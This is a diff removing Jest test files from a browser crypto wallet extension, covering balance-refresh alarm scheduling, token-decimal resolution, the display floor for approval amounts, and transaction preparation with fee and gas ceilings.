-        delete global.chrome;
-        delete global.fetch;
-        jest.resetModules();
-    });
-
-    test("startup schedules the recurring jobs as alarms, not timers", async () => {
-        alarmsStub = loadBackground().alarmsStub;
-        // Let the startup path's promises settle.
-        await settle();
-
-        const names = alarmsStub.created.map((c) => c.name);
-        const { BALANCE_REFRESH_ALARM } = require("../src/shared/alarms");
-        expect(names).toEqual([BALANCE_REFRESH_ALARM]);
-        expect(mockSetIntervalCalls).toBe(0);
-    });
-
-    test("startup contacts nothing", async () => {
-        // The phishing blocklist is vendored at build time and there is no
-        // other startup fetch, so a worker coming up asks nobody anything.
-        // Every wake used to be a candidate for a blocklist download.
-        loadBackground();
-        await settle();
-        expect(global.fetch).not.toHaveBeenCalled();
-    });
-
-    test("an onAlarm listener is installed on startup", async () => {
-        alarmsStub = loadBackground().alarmsStub;
-        await settle();
-        expect(alarmsStub.listenerCount()).toBe(1);
-    });
-
-    test("onInstalled and onStartup both re-establish the schedule", async () => {
-        const loaded = loadBackground();
-        alarmsStub = loaded.alarmsStub;
-        await settle();
-
-        expect(loaded.listeners.onInstalled).toHaveLength(1);
-        expect(loaded.listeners.onStartup).toHaveLength(1);
-
-        // A browser start after the alarms were dropped must put them back.
-        alarmsStub.alarms.clear();
-        alarmsStub.created.length = 0;
-        loaded.listeners.onStartup[0]();
-        await settle();
-        expect(alarmsStub.created).toHaveLength(1);
-    });
-
-    test("the install-time listener and the top-level call share one run", async () => {
-        // On a fresh install both fire, close enough that both could observe
-        // an alarm missing and create it — and a second create restarts the
-        // period the first one just set.
-        const loaded = loadBackground();
-        alarmsStub = loaded.alarmsStub;
-        loaded.listeners.onInstalled[0]();
-        await settle();
-
-        expect(alarmsStub.created).toHaveLength(1);
-        expect(alarmsStub.created.map((c) => c.name)).toEqual([
-            "autistmask-balance-refresh",
-        ]);
-    });
-});
-
-// The alarm period alone must set the cadence. A freshness guard timed to the
-// period vetoes the very tick it gates, because the guard is measured from
-// when the last run finished and the alarm fires one run-duration before that.
-// These tests measure the interval between refreshes that actually ran.
-describe("balance refresh steady-state cadence", () => {
-    const {
-        BALANCE_REFRESH_PERIOD_MINUTES,
-        BALANCE_REFRESH_ALARM,
-    } = require("../src/shared/alarms");
-    const PERIOD_MS = BALANCE_REFRESH_PERIOD_MINUTES * 60 * 1000;
-
-    let clockSpy;
-    let timerSpy;
-
-    function seededStore() {
-        return {
-            autistmask: {
-                hasWallet: true,
-                // A whole wallet record, not a bare address: a stored profile
-                // is validated against the schema on every read now
-                // (src/shared/stateSchema.js), and a wallet with no address
-                // list is one of the shapes that refuses to load.
-                wallets: [
-                    {
-                        name: "Wallet 1",
-                        type: "hd",
-                        addresses: [
-                            {
-                                address:
-                                    "0x0000000000000000000000000000000000000001",
-                                balance: "0",
-                                tokenBalances: [],
-                            },
-                        ],
-                    },
-                ],
-                lastBalanceRefresh: 0,
-            },
-        };
-    }
-
-    beforeEach(() => {
-        mockNow = Date.UTC(2026, 0, 1, 0, 0, 0);
-        mockBalanceRefreshAt.length = 0;
-        mockSetIntervalCalls = 0;
-        mockStorageOpCount = 0;
-        mockStorageJitter = false;
-        clockSpy = jest.spyOn(Date, "now").mockImplementation(() => mockNow);
-        timerSpy = jest.spyOn(global, "setInterval").mockImplementation(() => {
-            mockSetIntervalCalls++;
-            return 0;
-        });
-    });
-
-    afterEach(() => {
-        mockStorageJitter = false;
-        clockSpy.mockRestore();
-        timerSpy.mockRestore();
-        delete global.chrome;
-        delete global.fetch;
-        jest.resetModules();
-    });
-
-    test("ten alarm ticks produce ten refreshes, one per period", async () => {
-        const { alarmsStub } = loadBackground(seededStore());
-        await settle();
-        mockStorageJitter = true;
-
-        const TICKS = 10;
-        let tickAt = mockNow + PERIOD_MS;
-        for (let i = 0; i < TICKS; i++) {
-            mockNow = tickAt;
-            tickAt += PERIOD_MS;
-            alarmsStub.fire(BALANCE_REFRESH_ALARM);
-            await settle();
-        }
-
-        // No tick was a no-op. This is the assertion that fails when the guard
-        // is timed to the alarm period.
-        expect(mockBalanceRefreshAt).toHaveLength(TICKS);
-
-        // And the observed cadence is one period, not two.
-        const intervals = mockBalanceRefreshAt
-            .slice(1)
-            .map((t, i) => t - mockBalanceRefreshAt[i]);
-        for (const interval of intervals) {
-            expect(interval).toBeGreaterThanOrEqual(
-                PERIOD_MS - MOCK_MAX_STORAGE_LATENCY_MS,
-            );
-            expect(interval).toBeLessThanOrEqual(
-                PERIOD_MS + MOCK_MAX_STORAGE_LATENCY_MS,
-            );
-        }
-    });
-
-    test("a refresh an open popup just did still suppresses the tick", async () => {
-        // The guard's actual job, and the reason it is shortened rather than
-        // removed: while the popup is open it refreshes every 10 seconds and
-        // stamps the same field, and the background job has nothing to add.
-        const { alarmsStub, storage } = loadBackground(seededStore());
-        await settle();
-
-        mockNow += PERIOD_MS;
-        // As the open popup's own refresh would leave it: written to storage,
-        // not poked into an object the worker happens to share.
-        storage.write("autistmask", {
-            ...storage.read("autistmask"),
-            lastBalanceRefresh: mockNow - 10 * 1000,
-        });
-        alarmsStub.fire(BALANCE_REFRESH_ALARM);
-        await settle();
-
-        expect(mockBalanceRefreshAt).toHaveLength(0);
-    });
-});

tests/approvalAmount.test.js

@@ -1,208 +0,0 @@
-// The quantity the dApp approval screen shows for a decoded ERC-20 call.
-//
-// The screen's amount line is the only place a user sees how much a page is
-// asking for, and it is decoded from calldata, which carries base units and
-// no scale. Issue #306: decodeCalldata read decimals from the bundled token
-// list alone and fell back to 18, so a `transfer` of 5000000000 units of a
-// 6-decimal token — 5,000 tokens — was displayed as `0.0000` and confirmed.
-//
-// What is asserted here is that the scale is found wherever the wallet
-// already has it, and that where it is nowhere at all no formatted number is
-// produced: the amount line has to say base units and say the scale is
-// unknown, because a wrong quantity that reads as zero is worse than an
-// unwieldy correct one.
-
-globalThis.chrome = {
-    storage: { local: { get: async () => ({}), set: async () => {} } },
-};
-
-const { Interface } = require("ethers");
-const { ERC20_ABI } = require("../src/shared/constants");
-const { state } = require("../src/shared/state");
-const {
-    resolveTokenDecimals,
-    unknownDecimalsAmount,
-} = require("../src/shared/approvalAmount");
-const { decodeCalldata } = require("../src/popup/views/approval");
-
-const iface = new Interface(ERC20_ABI);
-
-// Outside the bundled list, as the great majority of ERC-20s are.
-const NOVEL_TOKEN = "0xE2E0000000000000000000000000000000000E2e";
-// In the bundled list, at 6 decimals.
-const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";
-const RECIPIENT = "0xC0FfEE0000000000000000000000000000c0fFEe";
-const SPENDER = "0x1111111111111111111111111111111111111111";
-
-// 5,000 units of a 6-decimal token, the amount from the issue.
-const FIVE_THOUSAND_AT_SIX = 5000000000n;
-const MAX_UINT256 = (1n << 256n) - 1n;
-
-function transferData(amount) {
-    return iface.encodeFunctionData("transfer", [RECIPIENT, amount]);
-}
-
-function approveData(amount) {
-    return iface.encodeFunctionData("approve", [SPENDER, amount]);
-}
-
-// The Amount line as the approval screen renders it.
-function amountLine(data, tokenAddress) {
-    const decoded = decodeCalldata(data, tokenAddress);
-    const detail = decoded.details.find((d) => d.label === "Amount");
-    return detail.value;
-}
-
-// A wallet holding `token` with the decimals the block explorer reported,
-// shaped as balances.js writes it onto state.
-function walletsHolding(token, decimals) {
-    return [
-        {
-            name: "Wallet 1",
-            addresses: [
-                {
-                    address: "0x" + "a".repeat(40),
-                    balance: "1.0",
-                    tokenBalances: [
-                        {
-                            address: token,
-                            symbol: "NOVEL",
-                            decimals,
-                            balance: "5000.0",
-                        },
-                    ],
-                },
-            ],
-        },
-    ];
-}
-
-beforeEach(() => {
-    state.trackedTokens = [];
-    state.wallets = [];
-});
-
-describe("resolveTokenDecimals", () => {
-    test("prefers the bundled list", () => {
-        state.trackedTokens = [{ address: USDC, symbol: "USDC", decimals: 2 }];
-        expect(resolveTokenDecimals(USDC, state)).toBe(6);
-    });
-
-    test("reads a token the user tracks", () => {
-        state.trackedTokens = [
-            {
-                address: NOVEL_TOKEN.toLowerCase(),
-                symbol: "NOVEL",
-                decimals: 6,
-            },
-        ];
-        expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
-    });
-
-    test("reads the decimals the explorer reported", () => {
-        // Blockscout's copy arrives as a string.
-        state.wallets = walletsHolding(NOVEL_TOKEN, "6");
-        expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
-    });
-
-    test("falls past a tracked entry whose decimals are unusable", () => {
-        state.trackedTokens = [
-            { address: NOVEL_TOKEN, symbol: "NOVEL", decimals: NaN },
-        ];
-        state.wallets = walletsHolding(NOVEL_TOKEN, 6);
-        expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
-    });
-
-    test("refuses a scale the explorer's own entries disagree about", () => {
-        const wallets = walletsHolding(NOVEL_TOKEN, 6);
-        wallets[0].addresses.push({
-            address: "0x" + "b".repeat(40),
-            balance: "0.0",
-            tokenBalances: [
-                { address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 18 },
-            ],
-        });
-        state.wallets = wallets;
-        expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
-    });
-
-    test("rejects values that are not a uint8", () => {
-        for (const decimals of [-1, 256, 1.5, true, [], {}, null, "6.0", ""]) {
-            state.trackedTokens = [{ address: NOVEL_TOKEN, decimals }];
-            expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
-        }
-    });
-
-    test("is null when nothing knows the token", () => {
-        expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
-    });
-});
-
-describe("decodeCalldata amount", () => {
-    test("transfer of a tracked 6-decimal token shows the true quantity", () => {
-        state.trackedTokens = [
-            { address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 6 },
-        ];
-        expect(
-            amountLine(transferData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN),
-        ).toBe("5000.0000");
-    });
-
-    test("transfer priced off the explorer's decimals shows the true quantity", () => {
-        state.wallets = walletsHolding(NOVEL_TOKEN, "6");
-        expect(
-            amountLine(transferData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN),
-        ).toBe("5000.0000");
-    });
-
-    test("transfer of an unknown-decimals token shows base units, not a number", () => {
-        const line = amountLine(
-            transferData(FIVE_THOUSAND_AT_SIX),
-            NOVEL_TOKEN,
-        );
-        expect(line).toBe("5000000000 base units (decimals unknown)");
-        expect(line).toBe(unknownDecimalsAmount(FIVE_THOUSAND_AT_SIX));
-        // The defect: any rendering that reads as a token quantity, and above
-        // all one that reads as zero.
-        expect(line).not.toMatch(/0\.0000/);
-    });
-
-    test("approve of a tracked 6-decimal token shows the true quantity", () => {
-        state.trackedTokens = [
-            { address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 6 },
-        ];
-        expect(amountLine(approveData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN)).toBe(
-            "5000.0000",
-        );
-    });
-
-    test("approve of an unknown-decimals token shows base units, not a number", () => {
-        const line = amountLine(approveData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN);
-        expect(line).toBe("5000000000 base units (decimals unknown)");
-        expect(line).not.toMatch(/0\.0000/);
-    });
-
-    test("an unbounded allowance is still named, with or without a scale", () => {
-        expect(amountLine(approveData(MAX_UINT256), NOVEL_TOKEN)).toBe(
-            "Unlimited",
-        );
-        expect(amountLine(approveData(MAX_UINT256), USDC)).toBe("Unlimited");
-    });
-
-    test("a bundled token keeps its symbol and its scale", () => {
-        expect(amountLine(transferData(FIVE_THOUSAND_AT_SIX), USDC)).toBe(
-            "5000.0000 USDC",
-        );
-    });
-
-    test("the amount carried to the status screens is the same string", () => {
-        const decoded = decodeCalldata(
-            transferData(FIVE_THOUSAND_AT_SIX),
-            NOVEL_TOKEN,
-        );
-        const detail = decoded.details.find((d) => d.label === "Amount");
-        expect(detail.rawValue).toBe(
-            "5000000000 base units (decimals unknown)",
-        );
-    });
-});

tests/approvalDisplayFloor.test.js

@@ -1,190 +0,0 @@
-// The floor of the approval screen's amount line.
-//
-// Amounts are truncated to four decimal places for scannability (README.md,
-// Display Consistency). With the token's true scale resolved, that truncation
-// can still take a real amount below the floor and print it as `0.0000`: one
-// base unit of an 18-decimal token, or a few hundred of an 8-decimal one. On
-// the one screen whose job is to state what is being authorized, a nonzero
-// transfer or allowance then reads as nothing.
-//
-// The invariant asserted here is narrow: a nonzero amount never renders as
-// zero. The four-decimal rule itself is unchanged, and the string the
-// confirmation screens carry as `txInfo.amount` is the same one, so it is
-// asserted on `rawValue` alongside the displayed line.
-//
-// Both amount paths of that screen are covered: the ERC-20 line decoded by
-// `src/popup/views/approval.js`, and the swap's `Amount` and `Min. received`
-// lines decoded by `src/shared/uniswap.js`.
-
-globalThis.chrome = {
-    storage: { local: { get: async () => ({}), set: async () => {} } },
-};
-
-const { AbiCoder, Interface } = require("ethers");
-const { ERC20_ABI } = require("../src/shared/constants");
-const { state } = require("../src/shared/state");
-const { decodeCalldata } = require("../src/popup/views/approval");
-const uniswap = require("../src/shared/uniswap");
-const {
-    truncateAmount,
-    truncateAmountNeverZero,
-} = require("../src/shared/amountDisplay");
-
-const iface = new Interface(ERC20_ABI);
-
-// Bundled tokens, so the scale and the symbol both come from the list.
-const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"; // 6 decimals
-const WBT = "0x925206b8a707096Ed26ae47C84747fE0bb734F59"; // 8 decimals
-const DAI = "0x6B175474E89094C44Da98b954EedeAC495271d0F"; // 18 decimals
-// Outside the list, so the scale comes from what the user tracks and the line
-// carries no symbol.
-const NOVEL = "0xE2E0000000000000000000000000000000000E2e";
-
-const RECIPIENT = "0xC0FfEE0000000000000000000000000000c0fFEe";
-const SPENDER = "0x1111111111111111111111111111111111111111";
-
-// The Uniswap swap lines land on this same approval screen.
-const ROUTER = "0x66a9893cc07d91d95644aedd05d03f95e1dba8af";
-const USDT = "0xdAC17F958D2ee523a2206206994597C13D831ec7"; // 6 decimals
-const WETH = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"; // 18 decimals
-
-const coder = AbiCoder.defaultAbiCoder();
-const routerIface = new Interface([
-    "function execute(bytes commands, bytes[] inputs, uint256 deadline)",
-]);
-
-// A V2_SWAP_EXACT_IN (command 0x08) execute() call: `amountIn` of USDT for at
-// least `amountOutMin` of WETH.
-function swapData(amountIn, amountOutMin) {
-    const input = coder.encode(
-        ["address", "uint256", "uint256", "address[]", "bool"],
-        [RECIPIENT, amountIn, amountOutMin, [USDT, WETH], true],
-    );
-    return routerIface.encodeFunctionData("execute", [
-        "0x08",
-        [input],
-        9999999999n,
-    ]);
-}
-
-function swapDetail(amountIn, amountOutMin, label) {
-    const decoded = uniswap.decode(swapData(amountIn, amountOutMin), ROUTER);
-    return decoded.details.find((d) => d.label === label);
-}
-
-function transferData(amount) {
-    return iface.encodeFunctionData("transfer", [RECIPIENT, amount]);
-}
-
-function approveData(amount) {
-    return iface.encodeFunctionData("approve", [SPENDER, amount]);
-}
-
-// The Amount detail as the approval screen renders it: `value` is the line on
-// the screen, `rawValue` is what is carried to the wait/success/error screens.
-function amount(data, token) {
-    const decoded = decodeCalldata(data, token);
-    return decoded.details.find((d) => d.label === "Amount");
-}
-
-beforeEach(() => {
-    state.trackedTokens = [];
-    state.wallets = [];
-});
-
-describe("a nonzero amount never renders as zero", () => {
-    test("500 base units of a 6-decimal token", () => {
-        const detail = amount(transferData(500n), USDC);
-        expect(detail.value).toBe("0.0005 USDC");
-        expect(detail.rawValue).toBe("0.0005");
-    });
-
-    test("1 base unit of an 18-decimal token", () => {
-        const detail = amount(transferData(1n), DAI);
-        expect(detail.value).toBe("0.000000000000000001 DAI");
-        expect(detail.rawValue).toBe("0.000000000000000001");
-    });
-
-    test("500 base units of an 8-decimal token", () => {
-        expect(amount(transferData(500n), WBT).rawValue).toBe("0.000005");
-    });
-
-    test("an allowance below the floor is not rendered as zero either", () => {
-        expect(amount(approveData(1n), DAI).value).toBe(
-            "0.000000000000000001 DAI",
-        );
-    });
-
-    // The floor holds at any scale, not only the three above: for every
-    // decimals a token can declare, one base unit has to show a digit.
-    test("one base unit shows a significant digit at every scale", () => {
-        for (let decimals = 0; decimals <= 30; decimals++) {
-            state.trackedTokens = [{ address: NOVEL, decimals }];
-            expect(amount(transferData(1n), NOVEL).rawValue).toMatch(/[1-9]/);
-        }
-    });
-});
-
-// The swap decoder formats its own amounts, so the same floor has to hold on
-// the swap lines of the same screen. `Min. received` is the sharper of the
-// two: the slippage floor rendered as `0.0000` states that the swap may return
-// nothing.
-describe("a swap's amounts never render as zero either", () => {
-    test("a swap input below the floor keeps a significant digit", () => {
-        // 50 base units of a 6-decimal token is 0.00005.
-        const detail = swapDetail(50n, 10n ** 15n, "Amount");
-        expect(detail.value).toBe("0.00005 USDT");
-        expect(detail.rawValue).toBe("0.00005");
-    });
-
-    test("a min-received below the floor keeps a significant digit", () => {
-        // 1 wei of an 18-decimal token.
-        expect(swapDetail(10n ** 6n, 1n, "Min. received").value).toBe(
-            "0.000000000000000001 WETH",
-        );
-    });
-
-    test("swap amounts at or above the floor are still truncated", () => {
-        expect(swapDetail(1000000n, 10n ** 15n, "Amount").rawValue).toBe(
-            "1.0000",
-        );
-        expect(
-            swapDetail(1000000n, 999999999999999999n, "Min. received").value,
-        ).toBe("0.9999 WETH");
-    });
-});
-
-describe("the four-decimal rule is otherwise unchanged", () => {
-    test("a whole amount keeps exactly four decimals", () => {
-        expect(amount(transferData(5000000000n), USDC).rawValue).toBe(
-            "5000.0000",
-        );
-    });
-
-    test("precision beyond four decimals is still truncated", () => {
-        expect(amount(transferData(1234567890123456789n), DAI).rawValue).toBe(
-            "1.2345",
-        );
-    });
-
-    test("an amount at the floor is not extended", () => {
-        expect(amount(transferData(100000000000000n), DAI).rawValue).toBe(
-            "0.0001",
-        );
-    });
-
-    test("a genuine zero still renders as zero", () => {
-        expect(amount(transferData(0n), DAI).rawValue).toBe("0.0000");
-    });
-
-    // The three truncators now share one module. The floor is a policy of the
-    // approval and confirmation screens only: the history and balance lists
-    // keep plain truncation, because the transaction detail view is the
-    // authoritative record and already shows exact precision.
-    test("the list rule stays unfloored", () => {
-        expect(truncateAmount("0.000000000000000001")).toBe("0.0000");
-        expect(truncateAmountNeverZero("0.000000000000000001")).toBe(
-            "0.000000000000000001",
-        );
-    });
-});

tests/approvalTx.test.js

@@ -1,309 +0,0 @@
-// Preparation of the transaction the approval screen displays.
-//
-// This is the half of the fix that makes the verification in
-// approvalVerify.test.js mean anything: the numbers the user reads have to be
-// produced before the screen is drawn and be the numbers that get signed. What
-// is asserted here is that the object leaving this module is complete (nothing
-// is left for the popup to fill in), that it survives the messaging boundary
-// (extension messaging is JSON, which has no bigint), and that nothing the
-// requesting page or the RPC node can say turns it into an approval that
-// should never have been raised.
-
-const { Network, Wallet } = require("ethers");
-const {
-    prepareApprovalTx,
-    serializeApprovedTx,
-    POPULATE_TIMEOUT_MS,
-} = require("../src/shared/approvalTx");
-const {
-    SERIALIZED_FIELDS,
-    MAX_FEE_PER_GAS,
-    MAX_GAS_LIMIT,
-} = require("../src/shared/approvalVerify");
-
-const SIGNER_KEY =
-    "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
-const signer = new Wallet(SIGNER_KEY);
-const RECIPIENT = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
-
-// The ordinary dApp request: recipient, value, call data, and nothing else.
-const TX_PARAMS = {
-    from: signer.address,
-    to: RECIPIENT,
-    value: "0x2386f26fc10000",
-    data: "0xdeadbeef",
-};
-
-function providerWith(overrides) {
-    return {
-        getNetwork: async () => Network.from(1),
-        getTransactionCount: async () => 7,
-        estimateGas: async () => 21000n,
-        getFeeData: async () => ({
-            gasPrice: 2000000000n,
-            maxFeePerGas: 2000000000n,
-            maxPriorityFeePerGas: 1000000000n,
-        }),
-        ...(overrides || {}),
-    };
-}
-
-// A node that only quotes a flat gas price, so populateTransaction produces a
-// legacy transaction rather than an EIP-1559 one.
-const legacyProvider = providerWith({
-    getFeeData: async () => ({
-        gasPrice: 2000000000n,
-        maxFeePerGas: null,
-        maxPriorityFeePerGas: null,
-    }),
-});
-
-describe("prepareApprovalTx", () => {
-    test("fills in everything the request left out", async () => {
-        const approved = await prepareApprovalTx(
-            providerWith(),
-            signer.address,
-            TX_PARAMS,
-        );
-        expect(approved).toEqual({
-            type: 2,
-            from: signer.address,
-            chainId: "0x1",
-            nonce: "0x7",
-            gasLimit: "0x5208",
-            maxPriorityFeePerGas: "0x3b9aca00",
-            maxFeePerGas: "0x77359400",
-            to: RECIPIENT,
-            value: TX_PARAMS.value,
-            data: TX_PARAMS.data,
-            accessList: [],
-        });
-    });
-
-    // The object is displayed, signed and verified against on the far side of
-    // chrome.runtime.sendMessage, which is JSON: a bigint would throw on the
-    // way out and a field that did not survive the trip would be a field the
-    // user was shown and nothing compared.
-    test("survives the messaging boundary unchanged", async () => {
-        const approved = await prepareApprovalTx(
-            providerWith(),
-            signer.address,
-            TX_PARAMS,
-        );
-        expect(JSON.parse(JSON.stringify(approved))).toEqual(approved);
-        for (const value of Object.values(approved)) {
-            expect(typeof value).not.toBe("bigint");
-        }
-    });
-
-    test("carries exactly the fields its type serializes, and the signer", async () => {
-        const approved = await prepareApprovalTx(
-            providerWith(),
-            signer.address,
-            TX_PARAMS,
-        );
-        expect(Object.keys(approved).sort()).toEqual(
-            ["type", "from", ...SERIALIZED_FIELDS[2]].sort(),
-        );
-    });
-
-    test("produces a legacy transaction when that is all the node quotes", async () => {
-        const approved = await prepareApprovalTx(
-            legacyProvider,
-            signer.address,
-            TX_PARAMS,
-        );
-        expect(approved.type).toBe(0);
-        expect(approved.gasPrice).toBe("0x77359400");
-        expect(approved.maxFeePerGas).toBeUndefined();
-        expect(Object.keys(approved).sort()).toEqual(
-            ["type", "from", ...SERIALIZED_FIELDS[0]].sort(),
-        );
-    });
-
-    test("keeps a nonce, gas limit and fee the request did fix", async () => {
-        const approved = await prepareApprovalTx(
-            providerWith(),
-            signer.address,
-            {
-                ...TX_PARAMS,
-                nonce: "0x2",
-                gasLimit: "0x30d40",
-                maxFeePerGas: "0x12a05f200",
-                maxPriorityFeePerGas: "0x3b9aca00",
-            },
-        );
-        expect(approved.nonce).toBe("0x2");
-        expect(approved.gasLimit).toBe("0x30d40");
-        expect(approved.maxFeePerGas).toBe("0x12a05f200");
-    });
-
-    test("carries an access list the request asked for", async () => {
-        const approved = await prepareApprovalTx(
-            providerWith(),
-            signer.address,
-            {
-                ...TX_PARAMS,
-                accessList: [{ address: RECIPIENT, storageKeys: [] }],
-            },
-        );
-        expect(approved.accessList).toEqual([
-            { address: RECIPIENT, storageKeys: [] },
-        ]);
-    });
-
-    // The request is page-controlled. Anything this wallet does not act on is
-    // dropped before ethers sees it, so a field a future ethers learns to
-    // carry cannot be picked up out of it without this module knowing.
-    test("drops request fields this wallet does not act on", async () => {
-        const approved = await prepareApprovalTx(
-            providerWith(),
-            signer.address,
-            {
-                ...TX_PARAMS,
-                authorizationList: [{ address: RECIPIENT }],
-                blobVersionedHashes: ["0x01" + "ab".repeat(31)],
-                customData: { anything: true },
-            },
-        );
-        expect(approved.authorizationList).toBeUndefined();
-        expect(approved.blobVersionedHashes).toBeUndefined();
-        expect(approved.customData).toBeUndefined();
-        expect(approved.type).toBe(2);
-    });
-
-    test("refuses a transaction type this wallet does not sign", async () => {
-        await expect(
-            prepareApprovalTx(providerWith(), signer.address, {
-                ...TX_PARAMS,
-                type: 4,
-            }),
-        ).rejects.toThrow(/type this wallet does not sign/);
-    });
-
-    test("refuses to raise an approval with no active address", async () => {
-        await expect(
-            prepareApprovalTx(providerWith(), null, TX_PARAMS),
-        ).rejects.toThrow(/no active address/);
-    });
-
-    // The ceilings as a backstop: equality with the screen cannot bound what
-    // the node talks the wallet into putting on the screen, so it is refused
-    // before the user is shown anything.
-    test("refuses a fee the node quoted above the ceiling", async () => {
-        const gouging = providerWith({
-            getFeeData: async () => ({
-                gasPrice: MAX_FEE_PER_GAS + 1n,
-                maxFeePerGas: MAX_FEE_PER_GAS + 1n,
-                maxPriorityFeePerGas: 1000000000n,
-            }),
-        });
-        await expect(
-            prepareApprovalTx(gouging, signer.address, TX_PARAMS),
-        ).rejects.toThrow(/fee per gas far above any plausible value/);
-    });
-
-    test("refuses a gas limit the node estimated above the ceiling", async () => {
-        const absurd = providerWith({
-            estimateGas: async () => MAX_GAS_LIMIT + 1n,
-        });
-        await expect(
-            prepareApprovalTx(absurd, signer.address, TX_PARAMS),
-        ).rejects.toThrow(/gas limit no network this wallet supports/);
-    });
-
-    // No approval and no window: the failure goes back to the page the click
-    // came from, in a sentence.
-    test("reports a failed estimate as a full sentence", async () => {
-        const reverting = providerWith({
-            estimateGas: async () => {
-                throw new Error("execution reverted: ERC20: transfer amount");
-            },
-        });
-        let thrown;
-        try {
-            await prepareApprovalTx(reverting, signer.address, TX_PARAMS);
-        } catch (e) {
-            thrown = e;
-        }
-        expect(thrown.message).toMatch(
-            /^The transaction could not be prepared/,
-        );
-        expect(thrown.message).toMatch(/execution reverted/);
-        expect(thrown.message).toMatch(/^[A-Z].*\.$/);
-    });
-
-    // Without a bound, an unreachable node leaves the page's promise pending
-    // with nothing on screen to explain it.
-    test("gives up on a node that never answers", async () => {
-        jest.useFakeTimers();
-        try {
-            const hanging = providerWith({
-                estimateGas: () => new Promise(() => {}),
-            });
-            const pending = prepareApprovalTx(
-                hanging,
-                signer.address,
-                TX_PARAMS,
-            );
-            const settled = expect(pending).rejects.toThrow(
-                /did not answer in time/,
-            );
-            await jest.advanceTimersByTimeAsync(POPULATE_TIMEOUT_MS + 1);
-            await settled;
-        } finally {
-            jest.useRealTimers();
-        }
-    });
-});
-
-describe("serializeApprovedTx", () => {
-    // Unreachable through prepareApprovalTx while the request type is checked
-    // first, which is what it is for: a node or an ethers upgrade that
-    // populates a type this wallet does not sign must not produce an approval.
-    test("refuses a populated transaction of a type this wallet does not sign", () => {
-        expect(() =>
-            serializeApprovedTx(
-                { type: 3, to: RECIPIENT, nonce: 7 },
-                signer.address,
-            ),
-        ).toThrow(/type this wallet does not sign/);
-    });
-
-    test("refuses a populated transaction missing a quantity", () => {
-        expect(() =>
-            serializeApprovedTx(
-                {
-                    type: 2,
-                    chainId: 1n,
-                    nonce: 7,
-                    gasLimit: 21000n,
-                    maxFeePerGas: 2000000000n,
-                    to: RECIPIENT,
-                    value: 0n,
-                    data: "0x",
-                },
-                signer.address,
-            ),
-        ).toThrow(/did not supply a maxPriorityFeePerGas/);
-    });
-
-    test("keeps a contract creation's absent recipient absent", () => {
-        const approved = serializeApprovedTx(
-            {
-                type: 0,
-                chainId: 1n,
-                nonce: 7,
-                gasPrice: 2000000000n,
-                gasLimit: 21000n,
-                to: null,
-                value: 0n,
-                data: "0x600160005500",
-            },
-            signer.address,
-        );
-        expect(approved.to).toBeNull();
-        expect(approved.value).toBe("0x0");
-        expect(approved.data).toBe("0x600160005500");
-    });
-});